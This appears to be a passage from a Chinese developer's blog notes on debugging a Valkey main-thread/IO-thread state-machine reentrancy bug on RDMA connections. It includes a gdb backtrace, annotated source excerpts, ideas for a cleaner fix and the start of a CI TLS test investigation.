\u0026#34;io_thd_1\u0026#34;): #0 0x0000558c5f21a612 in __rdtsc () at /usr/lib/gcc/x86_64-pc-linux-gnu/15.2.1/include/ia32intrin.h:114 #1 getMonotonicUs_x86 () at /home/ada/Project/valkey/src/monotonic.c:46 #2 0x0000558c5f1dfa66 in IOThreadMain (myid=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/io_threads.c:314 #3 0x00007f0100c9697a in ?? () from /usr/lib/libc.so.6 #4 0x00007f0100d1a2bc in ?? () from /usr/lib/libc.so.6 Thread 7 (Thread 0x7f00fc72c6c0 (LWP 64546) \u0026#34;io_thd_2\u0026#34;): #0 0x00007f0100c938d0 in ?? () from /usr/lib/libc.so.6 #1 0x00007f0100c9a0c4 in pthread_mutex_lock () from /usr/lib/libc.so.6 #2 0x0000558c5f1dfbf3 in IOThreadMain (myid=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/io_threads.c:384 #3 0x00007f0100c9697a in ?? () from /usr/lib/libc.so.6 #4 0x00007f0100d1a2bc in ?? () from /usr/lib/libc.so.6 Thread 6 (Thread 0x7f00fbf2b6c0 (LWP 64547) \u0026#34;io_thd_3\u0026#34;): #0 0x00007f0100c938d0 in ?? () from /usr/lib/libc.so.6 #1 0x00007f0100c9a0c4 in pthread_mutex_lock () from /usr/lib/libc.so.6 #2 0x0000558c5f1dfbf3 in IOThreadMain (myid=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/io_threads.c:384 #3 0x00007f0100c9697a in ?? () from /usr/lib/libc.so.6 #4 0x00007f0100d1a2bc in ?? () from /usr/lib/libc.so.6 Thread 5 (Thread 0x7f00fb72a6c0 (LWP 64548) \u0026#34;jemalloc_bg_thd\u0026#34;): #0 0x00007f0100c9ef32 in ?? () from /usr/lib/libc.so.6 #1 0x00007f0100c9339c in ?? () from /usr/lib/libc.so.6 #2 0x00007f0100c9368c in ?? () from /usr/lib/libc.so.6 #3 0x00007f0100c95e5e in pthread_cond_wait () from /usr/lib/libc.so.6 #4 0x0000558c5f34a8f5 in background_thread_sleep (tsdn=\u0026lt;optimized out\u0026gt;, info=\u0026lt;optimized out\u0026gt;, interval=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:137 #5 background_work_sleep_once (tsdn=\u0026lt;optimized out\u0026gt;, info=\u0026lt;optimized out\u0026gt;, ind=0) at src/background_thread.c:229 #6 background_thread0_work (tsd=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:374 #7 background_work (tsd=\u0026lt;optimized out\u0026gt;, ind=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:412 #8 background_thread_entry (ind_arg=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:444 #9 0x00007f0100c9697a in ?? () from /usr/lib/libc.so.6 #10 0x00007f0100d1a2bc in ?? () from /usr/lib/libc.so.6 Thread 4 (Thread 0x7f00fa7ff6c0 (LWP 64549) \u0026#34;jemalloc_bg_thd\u0026#34;): #0 0x00007f0100c9ef32 in ?? () from /usr/lib/libc.so.6 #1 0x00007f0100c9339c in ?? () from /usr/lib/libc.so.6 #2 0x00007f0100c9368c in ?? () from /usr/lib/libc.so.6 #3 0x00007f0100c95e5e in pthread_cond_wait () from /usr/lib/libc.so.6 #4 0x0000558c5f34a239 in background_thread_sleep (tsdn=\u0026lt;optimized out\u0026gt;, info=0x7f0100a16950, interval=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:137 #5 background_work_sleep_once (tsdn=\u0026lt;optimized out\u0026gt;, info=\u0026lt;optimized out\u0026gt;, ind=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:229 #6 background_work (tsd=\u0026lt;optimized out\u0026gt;, ind=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:419 #7 background_thread_entry (ind_arg=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:444 #8 0x00007f0100c9697a in ?? () from /usr/lib/libc.so.6 #9 0x00007f0100d1a2bc in ?? () from /usr/lib/libc.so.6 Thread 3 (Thread 0x7f00f9ffe6c0 (LWP 64550) \u0026#34;jemalloc_bg_thd\u0026#34;): #0 0x00007f0100c9ef32 in ?? () from /usr/lib/libc.so.6 #1 0x00007f0100c9339c in ?? () from /usr/lib/libc.so.6 #2 0x00007f0100c9368c in ?? () from /usr/lib/libc.so.6 #3 0x00007f0100c95e5e in pthread_cond_wait () from /usr/lib/libc.so.6 #4 0x0000558c5f34a239 in background_thread_sleep (tsdn=\u0026lt;optimized out\u0026gt;, info=0x7f0100a16a20, interval=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:137 #5 background_work_sleep_once (tsdn=\u0026lt;optimized out\u0026gt;, info=\u0026lt;optimized out\u0026gt;, ind=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:229 #6 background_work (tsd=\u0026lt;optimized out\u0026gt;, ind=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:419 #7 background_thread_entry (ind_arg=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:444 #8 0x00007f0100c9697a in ?? () from /usr/lib/libc.so.6 #9 0x00007f0100d1a2bc in ?? () from /usr/lib/libc.so.6 Thread 2 (Thread 0x7f00f93ff6c0 (LWP 64551) \u0026#34;jemalloc_bg_thd\u0026#34;): #0 0x00007f0100c9ef32 in ?? () from /usr/lib/libc.so.6 #1 0x00007f0100c9339c in ?? () from /usr/lib/libc.so.6 #2 0x00007f0100c9368c in ?? () from /usr/lib/libc.so.6 #3 0x00007f0100c95e5e in pthread_cond_wait () from /usr/lib/libc.so.6 #4 0x0000558c5f34a239 in background_thread_sleep (tsdn=\u0026lt;optimized out\u0026gt;, info=0x7f0100a16af0, interval=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:137 #5 background_work_sleep_once (tsdn=\u0026lt;optimized out\u0026gt;, info=\u0026lt;optimized out\u0026gt;, ind=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:229 #6 background_work (tsd=\u0026lt;optimized out\u0026gt;, ind=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:419 #7 background_thread_entry (ind_arg=\u0026lt;optimized out\u0026gt;) at src/background_thread.c:444 #8 0x00007f0100c9697a in ?? () from /usr/lib/libc.so.6 #9 0x00007f0100d1a2bc in ?? () from /usr/lib/libc.so.6 Thread 1 (Thread 0x7f0100e32740 (LWP 64539) \u0026#34;valkey-server\u0026#34;): #0 postponeClientRead (c=0x7f00c6b68e80) at /home/ada/Project/valkey/src/networking.c:6409 #1 readQueryFromClient (conn=0x7f00f3035f40) at /home/ada/Project/valkey/src/networking.c:4256 #2 0x0000558c5f260a9a in callHandler (conn=0x7f00f3035f40, handler=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/connhelpers.h:79 #3 connRdmaEventHandler (el=\u0026lt;optimized out\u0026gt;, fd=\u0026lt;optimized out\u0026gt;, clientData=0x7f00f3035f40, mask=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/rdma.c:735 #4 0x0000558c5f22d3b5 in connUpdateState (conn=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/connection.h:524 #5 processClientIOWriteDone (c=0x7f00c6b68e80) at /home/ada/Project/valkey/src/networking.c:3215 #6 processClientIOWriteDone (c=0x7f00c6b68e80) at /home/ada/Project/valkey/src/networking.c:3204 #7 0x0000558c5f1dfec7 in handleWriteJobs (write_jobs=0x7fff24438e80, write_count=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/io_threads.c:884 #8 processIOThreadsResponses () at /home/ada/Project/valkey/src/io_threads.c:934 #9 0x0000558c5f29d228 in processIOThreadsResponses () at /home/ada/Project/valkey/src/io_threads.c:73 #10 beforeSleep (eventLoop=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/server.c:1975 #11 beforeSleep (eventLoop=\u0026lt;optimized out\u0026gt;) at /home/ada/Project/valkey/src/server.c:1842 #12 0x0000558c5f14f1df in aeProcessEvents (flags=27, eventLoop=0x7f010084d000) at /home/ada/Project/valkey/src/ae.c:426 #13 aeMain (eventLoop=0x7f010084d000) at /home/ada/Project/valkey/src/ae.c:543 #14 0x0000558c5f13e4fb in main (argc=6, argv=0x7fff24439388) at /home/ada/Project/valkey/src/server.c:7795 [Inferior 1 (process 64539) detached] 从下往上读（从外层函数向内层核心深挖）。 看到这个#0的位置,就是当前的线程停止在了 我们尝试去解决root cause: 就是一个状态机错位的问题,都已经写到了这个修复CPU空转的问题commit message的内部,可以复习. 这个也是经典的状态机错乱导致的错误。\n语义层面的重构 # 我们分析一下有什么重构的手法？\n引入这个问题的原因是，offload之前，需要把postpone这个东西置起来，结束之后回回来，然后再updateEvent.\n有个逻辑没有用到，就是postpone_update_state的时候，有个参数没有使用。从两个不同的路径上触发的，有可能可以使用。 正常的event只有pollin才能进来（因为这里只是注册了pollin事件？）。 mask 只有pollin event才能进来。 我们从上面调用的那个handler里触发下来的话，可以使用其他参数来控制一下的，控制它是不是调用readhandler和writehandler的操作， 使用mask,我们知道我们的触发路径是什么，要么就是靠系统(RDMA的 completion queue)的pollin事件从aeEvent进来的，这个里面mask肯定只有pollin一种可能， postpone置成0,updatestate的时候，这条路径上我们可以使用一个特定的mask,看下这个error是怎么触发的？ 或者提前把某个mask reserve起来，internal的一种用法，就是我们自己使用，通过这个来决定是不是要唤醒某些特定的handler,有可能能解决这个问题。 就是不引入我们加入的int标志位，postpone这个东西应该是TLS引入的，RDMA不希望让networking层的代码变脏了，但是可以尝试一下。\n理一遍Root Cause # 我们走读一边代码重新理一下。 同时在解决问题的时候建立这样的思想，主线程和IO线程之间就是利用无锁队列来进行通信的。 目前来说root cause已经找的非常清晰了，剩下的只是我们解决问题的手法是否漂亮的问题了.\n1.主线程状态分析 # 我们从触发读回调开始分析（因为本身重入问题就出在读回调函数里面），读回调函数是readQueryFromClient：\nvoid readQueryFromClient(connection *conn) { client *c = connGetPrivateData(conn); /* Check if we can send the client to be handled by the IO-thread */ // 尝试能否推迟ClientRead if (postponeClientRead(c)) return; if (c-\u0026gt;io_write_state != CLIENT_IDLE || c-\u0026gt;io_read_state != CLIENT_IDLE) return; ...... } 调到postponeClientRead:(所谓推迟，就是看能否暂时交给IO线程来处理)\n/* Return 1 if the client read is handled using threaded I/O. * 0 otherwise. */ int postponeClientRead(client * c) { if (ProcessingEventsWhileBlocked) return 0; // 尝试看这个client read是否能够派发给IO线程来进行处理。 return (trySendReadToIOThreads(c) == C_OK); } 继续调用trySendReadToIOThreads.同注释的逻辑：\nint trySendReadToIOThreads(client * c) { // 这里有自己的计算方法 if (server.active_io_threads_num \u0026lt;= 1) return C_ERR; /* Fake/teardown clients may have no connection; never offload those. */ if (!c - \u0026gt; conn) return C_ERR; /* If IO thread is still reading, return C_OK so the main thread does not race it. */ if (c - \u0026gt; io_read_state == CLIENT_PENDING_IO) return C_OK; /* A completed read must be finished by processClientIOReadsDone on the main thread * before we try to offload another read; do not treat it like PENDING_IO. */ // 这里返回C_ERR来解决状态机紊乱的问题。 目前的状态是C if (c - \u0026gt; io_read_state == CLIENT_COMPLETED_IO) return C_ERR; if (c - \u0026gt; io_write_state == CLIENT_PENDING_IO) return C_OK; /* For simplicity, don\u0026#39;t offload replica clients reads as read traffic from replica is negligible */ if (getClientType(c) == CLIENT_TYPE_REPLICA) return C_ERR; /* With Lua debug client we may call connWrite directly in the main thread */ if (c - \u0026gt; flag.lua_debug) return C_ERR; /* For simplicity let the main-thread handle the blocked clients */ if (c - \u0026gt; flag.blocked || c - \u0026gt; flag.unblocked) return C_ERR; if (c - \u0026gt; flag.close_asap) return C_ERR; c - \u0026gt; read_flags = canParseCommand(c) ? 0 : READ_FLAGS_DONT_PARSE; c - \u0026gt; read_flags |= authRequired(c) ? READ_FLAGS_AUTH_REQUIRED : 0; c - \u0026gt; read_flags |= isReplicatedClient(c) ? READ_FLAGS_REPLICATED : 0; c - \u0026gt; io_read_state = CLIENT_PENDING_IO; connSetPostponeUpdateState(c - \u0026gt; conn, 1); // 单生产者多消费者队列 if (unlikely(spmcEnqueue( \u0026amp; io_shared_inbox, tagJob(c, JOB_REQ_READ_CLIENT)) == false)) { c - \u0026gt; read_flags = 0; c - \u0026gt; io_read_state = CLIENT_IDLE; connSetPostponeUpdateState(c - \u0026gt; conn, 0); return C_ERR; } // 此时真的offload当前这个readjob io_jobs_submitted++; server.stat_io_reads_pending++; c - \u0026gt; flag.pending_read = 1; return C_OK; } 上面返回成功之后，我们本次的clientRead就应该已经offload给了IO线程来进行处理。 注意这里的两个点(这条线上我们继续分析主线程,你也可以暂时先走读下面client的代码)：\nc -\u0026gt; io_read_state = CLIENT_PENDING_IO; connSetPostponeUpdateState(c -\u0026gt; conn, 1); 我们设置read状态的第一个状态机为CLIENT_PENDING_IO,同时调用了connSetPostponeUpdateState, 如果这个函数指针是被注册过的话，我们就回调这个函数：\nstatic inline void connSetPostponeUpdateState(connection *conn, int on) { if (conn-\u0026gt;type-\u0026gt;postpone_update_state) { conn-\u0026gt;type-\u0026gt;postpone_update_state(conn, on); } } 这个回调指针是在connection.c中进行定义的：\ntypedef struct connectionType { /* Postpone update state - with IO threads \u0026amp; TLS we don\u0026#39;t want the IO threads to update the event loop events - let * the main-thread do it */ // 这个回调指针是TLS引入的，就是说在TLS连接层和开启IO线程的情况下，我们不希望IO线程来更新 事件循环事件（这是什么？）而是使用主线程来进行更新。 void (*postpone_update_state)(struct connection *conn, int); } 我们来分析这个postpone_update_state到底干了什么，有什么作用,实际上只有RDMA和TLS使用到了这个回调指针：\nstatic ConnectionType CT_RDMA = { ...... .postpone_update_state = postPoneUpdateRdmaState, ...... } 上面是具体的函数，我们来看看这个函数postPoneUpdateRdmaState:\nstatic void postPoneUpdateRdmaState(struct connection *conn, int postpone) { rdma_connection *rdma_conn = (rdma_connection *)conn; if (postpone) { rdma_conn-\u0026gt;flags |= RDMA_CONN_FLAG_POSTPONE_UPDATE_STATE; } else { rdma_conn-\u0026gt;flags \u0026amp;= ~RDMA_CONN_FLAG_POSTPONE_UPDATE_STATE; } } 就是如果需要postpone（就是传进来的是非零的时候，我们就加上RDMA_CONN_FLAG_POSTPONE_UPDATE_STATE这个标志位，不然的话一定要去掉这个标志位），那我们看看哪里使用到了这个标志位?那么理论上在当前的连接之内，我们都是可以使用这个标志位来进行操作的。（实际上就是在接收到IO线程的sendToMainThread之后会使用到这些代码，所以我们可以继续从_main开始接收IO线程的回复结果之后开始分析。）\n#define RDMA_CONN_FLAG_POSTPONE_UPDATE_STATE (1 \u0026lt;\u0026lt; 0) 上面的定义就是1。\n============ 分割线 ============\n_main线程等到IO线程返回结果之后的代码逻辑 # beforeSleep 在每轮「准备阻塞等待 I/O」之前执行： 上一轮 poll 触发的可读/可写回调已经跑完， beforeSleep 负责把这一阶段该收尾的活集中做完，然后再进 poll（或等价地 custompoll/IO 线程上的 poll）。\n我们需要注意的是beforeSleep中调用processIOThreadsResponses()中: 注意这里是在干什么？ 把 IO 线程完成的读/写/accept 结果收回主线程：对应 networking/client 状态的推进。\nint processIOThreadsResponses(void) { /* We don\u0026#39;t check for threads number since some threads may return jobs then deactivate/shut-down */ /* Quick check if any pending operations exist */ if (getPendingIOResponsesCount() == 0) return 0; int total_processed = 0; void * jobs[JOB_BATCH_SIZE]; client * read_jobs[JOB_BATCH_SIZE]; client * write_jobs[JOB_BATCH_SIZE]; /* Loop until we consume all pending jobs */ // 循环遍历处理之前IO线程返回的每一个JOB while (1) { int received_responses = 0; int dequeued_count = 0; int read_count = 0; int write_count = 0; /* Try to dequeue JOB_BATCH_SIZE */ while (received_responses \u0026lt; JOB_BATCH_SIZE) { // 从多生产者单消费者队列中取jobs进行处理 // 批量进行出队的操作 dequeued_count = mpscDequeueBatch( \u0026amp; io_shared_outbox, jobs, JOB_BATCH_SIZE - received_responses); /* Stop if we can\u0026#39;t get more jobs from the queue. */ if (dequeued_count == 0) break; received_responses += dequeued_count; total_processed += dequeued_count; for (int i = 0; i \u0026lt; dequeued_count; i++) { void * data; int job_type; // 这里把client给解出来 untagJob(jobs[i], \u0026amp; data, \u0026amp; job_type); client * c = (client * ) data; if (job_type == JOB_RES_READ_CLIENT) { // 此时的状态必须是IO处理结束的 serverAssert(c - \u0026gt; io_read_state == CLIENT_COMPLETED_IO); read_jobs[read_count++] = c; } else if (job_type == JOB_RES_WRITE_CLIENT) { serverAssert(c - \u0026gt; io_write_state == CLIENT_COMPLETED_IO); write_jobs[write_count++] = c; } else { serverPanic(\u0026#34;Unknown job type %d\u0026#34;, job_type); } } } // 对于要读和要写的操作调用不同的函数。 if (read_count) handleReadJobs(read_jobs, read_count); if (write_count) handleWriteJobs(write_jobs, write_count); /* If the queue was empty at the last try - don\u0026#39;t try again */ if (dequeued_count == 0) return total_processed; } } 看上面遍历了很多jobs，IO入队的时候存放的就是read jobs（我们目前整条链路都在分析读任务）， 那么这里我们就对于整个read jobs收集的数组调用handleReadJobs这个函数， 我们来看看这个函数(这里是我们没有修改时候的函数，因为我们现在正在梳理root cause)：\n/* Function to handle read jobs */ static void handleReadJobs(client ** read_jobs, int read_count) { // 我们这次处理了这么多读任务 server.stat_io_reads_pending -= read_count; serverAssert(server.stat_io_reads_pending \u0026gt;= 0); /* process each client */ // 遍历每个client客户端 for (int i = 0; i \u0026lt; read_count; i++) { client * c = read_jobs[i]; processClientIOReadsDone(c); } /* Process commands in batch if we processed any reads */ if (read_count) { server.stat_io_reads_processed += read_count; processClientsCommandsBatch(); } } 这里原来的逻辑就是，遍历处理每一个收集到的client, 然后调用processClientIOReadsDone，我们看看这个函数又干了什么？\n这里相当于应该已经是收尾的处理了。\nvoid processClientIOReadsDone(client * c) { serverAssert(c - \u0026gt; io_read_state == CLIENT_COMPLETED_IO); if (ProcessingEventsWhileBlocked) { /* When ProcessingEventsWhileBlocked we may call processIOThreadsReadDone recursively. * In this case, there may be some clients left in the batch waiting to be processed. */ processClientsCommandsBatch(); } c - \u0026gt; flag.pending_read = 0; c - \u0026gt; io_read_state = CLIENT_IDLE; /* Don\u0026#39;t post-process-reads from clients that are going to be closed anyway. */ if (c - \u0026gt; flag.close_asap) return; /* If a client is protected, don\u0026#39;t do anything, * that may trigger read/write error or recreate handler. */ if (c - \u0026gt; flag.protected) return; /* Save the current conn state, as connUpdateState may modify it */ int in_accept_state = (connGetState(c - \u0026gt; conn) == CONN_STATE_ACCEPTING); connSetPostponeUpdateState(c - \u0026gt; conn, 0); connUpdateState(c - \u0026gt; conn); /* In accept state, no client\u0026#39;s data was read - stop here. */ if (in_accept_state) return; /* On read error - stop here. */ if (handleReadResult(c) == C_ERR) { return; } if (!(c - \u0026gt; read_flags \u0026amp; READ_FLAGS_DONT_PARSE)) { parseResult res = handleParseResults(c); /* On parse error - stop here. */ if (res == PARSE_ERR) { return; } else if (res == PARSE_NEEDMORE) { beforeNextClient(c); return; } } if (c - \u0026gt; argc \u0026gt; 0) { c - \u0026gt; flag.pending_command = 1; } /* try to add the command to the batch */ int ret = addCommandToBatchAndProcessIfFull(c); /* If the command was not added to the commands batch, process it immediately */ if (ret == C_ERR) { if (processPendingCommandAndInputBuffer(c) == C_OK) beforeNextClient(c); } } 注意，这里更改了client的状态为IDLE,就是目前是处于空闲的状态，被重置了。\nc - \u0026gt; flag.pending_read = 0; c - \u0026gt; io_read_state = CLIENT_IDLE; /* Don\u0026#39;t post-process-reads from clients that are going to be closed anyway. */ if (c - \u0026gt; flag.close_asap) return; 进行状态更新，这里就是会出问题的地方：\n/* Save the current conn state, as connUpdateState may modify it */ int in_accept_state = (connGetState(c - \u0026gt; conn) == CONN_STATE_ACCEPTING); connSetPostponeUpdateState(c - \u0026gt; conn, 0); connUpdateState(c - \u0026gt; conn); 在处理结束之后，我们又把这个postponeUpdateState函数的指针置回来了。 在processClientIOReadsDone中，我们进行了状态的更新，就是调用了RDMA的connUpdateState。来看看：\nstatic inline void connUpdateState(connection *conn) { if (conn-\u0026gt;type-\u0026gt;update_state) { conn-\u0026gt;type-\u0026gt;update_state(conn); } } 这里就是调用了当时注册的update_state的回调指针：\nstatic ConnectionType CT_RDMA = { ...... .postpone_update_state = postPoneUpdateRdmaState, .update_state = updateRdmaState, ...... }; 我们来看看这个updateRdmaState:\nstatic void updateRdmaState(struct connection * conn) { rdma_connection * rdma_conn = (rdma_connection * ) conn; connRdmaSetRwHandler(conn); connRdmaEventHandler(NULL, -1, rdma_conn, 0); } 上面的connRdmaSetRwHandler,只是用来注册可读的事件handler，因为IB肯定只能注册POLLIN的事件。 之后的connRdmaEventHandler中，进行调用：\nstatic void connRdmaEventHandler(struct aeEventLoop * el, int fd, void * clientData, int mask) { rdma_connection * rdma_conn = (rdma_connection * ) clientData; connection * conn = \u0026amp; rdma_conn - \u0026gt; c; struct rdma_cm_id * cm_id = rdma_conn - \u0026gt; cm_id; RdmaContext * ctx = cm_id - \u0026gt; context; int ret = 0; UNUSED(el); UNUSED(fd); UNUSED(mask); ret = connRdmaHandleCq(rdma_conn); if (ret == C_ERR) { conn - \u0026gt; state = CONN_STATE_ERROR; return; } /* uplayer should read all */ while (!(rdma_conn - \u0026gt; flags \u0026amp; RDMA_CONN_FLAG_POSTPONE_UPDATE_STATE) \u0026amp;\u0026amp; ctx - \u0026gt; rx.pos \u0026lt; ctx - \u0026gt; rx.offset) { if (conn - \u0026gt; read_handler \u0026amp;\u0026amp; (callHandler(conn, conn - \u0026gt; read_handler) == C_ERR)) { return; } } /* recv buf is full, register a new RX buffer */ if (ctx - \u0026gt; rx.pos == ctx - \u0026gt; rx.length) { connRdmaRegisterRx(ctx, cm_id); } /* RDMA comp channel has no POLLOUT event, try to send remaining buffer */ if (!(rdma_conn - \u0026gt; flags \u0026amp; RDMA_CONN_FLAG_POSTPONE_UPDATE_STATE) \u0026amp;\u0026amp; ctx - \u0026gt; tx.offset \u0026lt; ctx - \u0026gt; tx.length \u0026amp;\u0026amp; conn - \u0026gt; write_handler) { callHandler(conn, conn - \u0026gt; write_handler); } } 你会发现在这里更新状态的时候，还会调用callHandler，就是调到read_handler（之前注册的）。 read_hander是谁？readQueryFromClient，此时就导致了重入，从readQueryFromClient再走一遍上面的逻辑，一直调用到下面的：\nvoid parseInputBuffer(client *c) { /* The command queue must be emptied before parsing. */ // 指令队列在解析之前必须为空 serverAssert(c-\u0026gt;cmd_queue.len == 0); ...... } 就是此时重入了，但是之前可能没有处理结束导致的断言错误（我的个人推断。） 实际上在processClientIOWriteDone中因为也会调用更新函数，导致进入读路径，造成另一处的:\n/* If io_last_written_data_len is nonzero it must relate to c-\u0026gt;buf */ serverAssert(c-\u0026gt;io_last_written.data_len == 0 || c-\u0026gt;io_last_written.buf == c-\u0026gt;buf); 断言错误，而这个PR在尝试同时解决这两个问题。\nIO线程状态分析 # 因为实际上二者的状态流转是交叉的，我们可以交替进行分析。我现在就是IO线程。 上面在主线程把client read offload给了我们之后，就是 我们从IO的主线程往下走：\nstatic void * IOThreadMain(void * myid) { /* The ID is the thread ID number (from 1 to server.io_threads_num-1). ID 0 is the main thread. */ long id = (long) myid; char thdname[32]; ...... while (1) { ...... /* PRIORITY 2: Shared Global Queue (SPMC) * Only checked after SPSC is drained. */ // 这里就是经典的从环形缓冲区尝试进行出队的操作，单生产者多消费者。 void * tagged_job = spmcDequeue( \u0026amp; io_shared_inbox); // 看需要消费的job类型 if (tagged_job) { void * data; int type; untagJob(tagged_job, \u0026amp; data, \u0026amp; type); switch (type) { // case JOB_REQ_READ_CLIENT: ioThreadReadQueryFromClient((client * ) data); break; case JOB_REQ_WRITE_CLIENT: ioThreadWriteToClient((client * ) data); break; case JOB_REQ_FREE_OBJ: zfree(data); break; case JOB_REQ_ACCEPT: ioThreadAccept((client * ) data); break; case JOB_REQ_POLL: ioThreadPoll((aeEventLoop * ) data); break; default: serverPanic(\u0026#34;Invalid SPMC job type: %d\u0026#34;, type); } processed++; ...... } { 在_main线程入队的时候我们可以看到，那个时候我们给的job tag就是JOB_REQ_READ_CLIENT(里面的代码逻辑是入队失败的情况):\nif (unlikely(spmcEnqueue( \u0026amp; io_shared_inbox, tagJob(c, JOB_REQ_READ_CLIENT)) == false)) { c - \u0026gt; read_flags = 0; c - \u0026gt; io_read_state = CLIENT_IDLE; connSetPostponeUpdateState(c - \u0026gt; conn, 0); return C_ERR; } OK,我们继续分析，在ioMain的switch语句中我们继续调用ioThreadReadQueryFromClient:\nvoid ioThreadReadQueryFromClient(client * c) { // 断言，刚进这个函数的时候，我们的状态肯定是 `CLIENT_PENDING_IO` 就是等待处理的状态。 serverAssert(c-\u0026gt; io_read_state == CLIENT_PENDING_IO); /* Read */ readToQueryBuf(c); if (c - \u0026gt; flag.close_asap) { goto done; } /* Check for read errors. */ if (c - \u0026gt; nread \u0026lt;= 0) { goto done; } /* Skip command parsing if the READ_FLAGS_DONT_PARSE flag is set. */ if (c - \u0026gt; read_flags \u0026amp; READ_FLAGS_DONT_PARSE) { goto done; } /* Handle QB limit */ if (c - \u0026gt; read_flags \u0026amp; READ_FLAGS_QB_LIMIT_REACHED) { goto done; } // ======== 这个解析就是重入点，之前的指令主线程还没处理结束 ======== parseInputBuffer(c); trimCommandQueue(c); prepareCommandQueue(c); /* Parsing was not completed - let the main-thread handle it. */ if (!(c - \u0026gt; read_flags \u0026amp; READ_FLAGS_PARSING_COMPLETED)) { goto done; } /* Empty command - Multibulk processing could see a \u0026lt;= 0 length. */ if (c - \u0026gt; argc == 0) { goto done; } done: /* Only trim query buffer for non-primary clients * Primary client\u0026#39;s buffer is handled by main thread using repl_applied position */ if (!(c - \u0026gt; read_flags \u0026amp; READ_FLAGS_REPLICATED)) { trimClientQueryBuffer(c); } c - \u0026gt; io_read_state = CLIENT_COMPLETED_IO; c - \u0026gt; cur_tid = getCurTid(); sendToMainThread(c, JOB_RES_READ_CLIENT); } 上面这段代码中，我们读取到缓冲区并且进行相应的解析(这里的逻辑之后可以进一步研究，此处不是重点)， 同时在处理完read client之后，注意这里我们更改状态机为CLIENT_COMPLETED_IO, 就是此时已经被IO处理完毕了，然后我们把处理的结果返回给主线程：\nc - \u0026gt; io_read_state = CLIENT_COMPLETED_IO; c - \u0026gt; cur_tid = getCurTid(); sendToMainThread(c, JOB_RES_READ_CLIENT); 我们继续看sendToMainThread这个函数都干了什么？\nvoid sendToMainThread(void * data, int type) { if (unlikely(pending_io_responses)) { flushPendingIOResponses(0); } // 拿到我们IO当前完成的任务 void * job = tagJob(data, type); // 把我们当前完成的job放进一个队列中，这是所有IO都放到一个队列内部，然后主线程进行对应的处理。 // 所以就是多生产者(IO线程)单消费者(_main线程)的链表 if (unlikely(pending_io_responses || !mpscEnqueue( \u0026amp; io_shared_outbox, job, \u0026amp; io_thread_ticket))) { /* Failed to push new job: initialize list if needed and save job */ // 实在没有放进去的话我们就开启一个全新的队列（这个处理机制是什么???） if (pending_io_responses == NULL) { pending_io_responses = listCreate(); } listAddNodeTail(pending_io_responses, job); } } OK，此时IO线程的使命已经结束，处理完read client之后，然后把结果进行相应的入队操作， 我们可以回到_main线程继续看做了什么？back to main\n更优雅的解决方式？ # 在分析结束了root cause之后，我们想使用更好的方式尝试来解决问题，因为现在上层的代码看起来很脏。 就是你不能写 if （连接类型 = RDMA）{ 处理逻辑 }，这很不好看，有没有什么更优雅的处理手法。 思路，就是原来是直接在上层判断类型，然后修改逻辑，现在就是想利用postpone_update_state来使用更客观的手法来处理， 但是改动很多，非常容易出错感觉，这里还需要再仔细进行研究,这里的逻辑过于复杂了， 我们的想法就是逐渐给出一个最小的改动来处理，而不是一下子进行大改。 思考一下，这种修改本来就不可能一下就OK的，肯定非常复杂。\n有的时候你想给AI看，或者要不分页的git diff来进行查询，就需要这样来进行处理：\n$ git --no-pager -diff # 这个是你可以展示目前工作区的diff 但是有的时候已经commit,我们应该如何查看：\n$ git --no-pager show \u0026lt;commit_id\u0026gt; # 不分页展示某个已经提交的commit 以上两个都非常有用。 目前来说看起来差不多了，从二月份，那个时候IO线程的job模型还没有被修改成MPMC,我处理的旧版的IO存在的问题， 之后IO模型修改，我又处理了新的版本，现在竟然到了五月底，时间真的好快，中间还解决了两个小问题，希望能顺利进行!\n我们修改之后的时序类似:\nsequenceDiagram participant Epoll as RDMA/epoll participant Main as 主线程 participant IO as IO 线程 participant RDMA as connRdmaEventHandler Epoll-\u0026gt;\u0026gt;Main: readQueryFromClient Main-\u0026gt;\u0026gt;IO: trySendReadToIOThreads → inbox Note over Main: PENDING_IO + postpone READ(这里推迟了读路径) IO-\u0026gt;\u0026gt;IO: ioThreadReadQueryFromClient\u0026lt;br/\u0026gt;parseInputBuffer → cmd_queue IO-\u0026gt;\u0026gt;Main: COMPLETED_IO → outbox Main-\u0026gt;\u0026gt;Main: handleReadJobs ① processClientIOReadsDone Note over Main: IDLE, mask=READ(+WRITE?), connUpdateState Note over RDMA: READ 被挡，不进 read_handler Main-\u0026gt;\u0026gt;Main: ② processClientsCommandsBatch Main-\u0026gt;\u0026gt;Main: ③ drain + clientConnPostponeMask + connUpdateState Note over RDMA: queue 空 → 可排空 RX 这个 PR 的本质，就是在 client/connection 生命周期的特定节点， 设置 postpone_mask 里的 READ/WRITE 位； 在 RDMA 的 connRdmaEventHandler 里检查这些位， 从而决定「这一刻能不能同步调用 read/write handler」。\nCI失败 # 目前我们发现了在当前这个分支上会出现一个CI测试的稳定失败：test-ubuntu-latest-cmake-tls中的单个io_threads的测试。 那么到底是我的问题还是测试的问题？ 可以尝试来解决一下这个问题,先尝试复现test吧：\n# 使用 CMake 编译带 TLS 支持的 Valkey (与 CI 环境保持一致) cmake -B build -DUSE_TLS=ON cmake --build build -j$(nproc) 现在看来的话，还是在postpone 